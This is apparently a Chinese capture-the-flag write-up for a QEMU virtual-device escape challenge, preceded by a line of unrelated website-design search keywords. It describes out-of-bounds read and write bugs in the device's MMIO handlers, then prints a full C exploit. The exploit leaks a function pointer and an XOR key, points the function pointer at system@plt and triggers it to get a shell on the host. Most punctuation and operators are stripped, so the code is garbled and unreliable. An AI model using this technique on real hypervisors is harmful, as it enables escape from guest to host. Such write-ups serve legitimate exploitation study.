找网站公司制作网站,三河市建设局网站,公司网页设计模板图片,展馆展示设计公司排名推荐电脑前言
虚拟机用户名#xff1a;root
无密码
设备逆向
题目去掉的符号#xff0c;经过逆向分析#xff0c;实例结构体如下#xff1a; 可以看到 arr_int_8 数组后面存在一个函数指针#xff0c;不用想基本上就是劫持该函数指针了。
denc_mmio_read 函数 这里存在越界读…前言
虚拟机用户名root
无密码
设备逆向
题目去掉的符号经过逆向分析实例结构体如下 可以看到 arr_int_8 数组后面存在一个函数指针不用想基本上就是劫持该函数指针了。
denc_mmio_read 函数 这里存在越界读在上面实例结构体中arr_int_8 数组的大小为 8而这里的下标达到了 9所以刚好可以越界读取 func 的地址。
denc_mmio_write 函数 同理这里也存在越界写并且刚好可以写到 func但是这里存在一个问题就是每次写之前都会将数据进行异或。
异或的数据 data 是在实例初始化时设置的这里设置的算法很复杂基本上不考虑去逆向。 但是这里我们是可以配合 mmio_read 函数去直接泄漏 data 中的数据的只需要让 mmio_write 的 val 等于 0 即可然后在用 mmio_read 读出来。
denc_pmio_read 函数 该函数是正常读取没有问题。
denc_pmio_write 函数 该函数写入是正常的当 addr 0x660 时会调用函数指针参数为 arr_int_8 首地址。
注意这里存在花指令 就是这个位置大家 patch 掉就行了
漏洞利用
其实就很简单了
1、利用 mmio_read 越界读泄漏 func 地址从而计算出 systemplt 地址
2、利用 mmio_write/mmio_read 泄漏异或 data
3、利用 mmio_write 越界写将 func 函数指针指向 systemplt
4、将 cmd 写入 arr_int_8
5、然后 mmio_write(0x660, 0) 触发即可
exp 如下
#include stdio.h
#include stdlib.h
#include stdint.h
#include string.h
#include fcntl.h
#include sys/mman.h
#include sys/io.hvoid * mmio_base;
uint64_t pmio_base 0xc000;void mmio_init()
{int fd open(/sys/devices/pci0000:00/0000:00:04.0/resource0, O_RDWR|O_SYNC);if (fd 0) puts([X] open for mmio), exit(EXIT_FAILURE);mmio_base mmap(0, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);if (mmio_base 0) puts([X] mmap for mmio), exit(EXIT_FAILURE);printf([] mmio_base: %#p\n, mmio_base);if (mlock(mmio_base, 0x1000) 0) puts([X] mlock for mmio), exit(EXIT_FAILURE);
}void pmio_init()
{if (iopl(3) 0) puts([X] iopl for pmio), exit(EXIT_FAILURE);
}uint32_t mmio_read(uint64_t offset)
{return *(uint32_t*)(mmio_base (offset 2));
}void mmio_write(uint64_t offset, uint32_t val)
{*(uint32_t*)(mmio_base (offset 2)) val;
}uint32_t pmio_read(uint64_t offset)
{return inl(pmio_base (offset 2));
}void pmio_write(uint64_t offset, uint64_t val)
{outl(val, pmio_base offset);
}int main(int argc, char** argv, char** envp)
{mmio_init();pmio_init();uint64_t func_addr mmio_read(8);func_addr func_addr | (1ULL * mmio_read(9) 32);uint64_t system_plt func_addr - 0x3A9EA8 0x2CCB60;printf([] func_addr: %#p\n, func_addr);printf([] systemplt addr: %#p\n, system_plt);uint32_t data[10];for (int i 0; i 10; i){mmio_write(i, 0);data[i] mmio_read(i);printf( [] data[%d]: %#x\n, i, data[i]);}mmio_write(0, data[0]^0x6873);mmio_write(8, data[8]^(system_plt0xffffffff));mmio_write(9, data[9]^((system_plt32)0xffffffff));pmio_write(0x660, 0);puts([] End!);return 0;
}
效果如下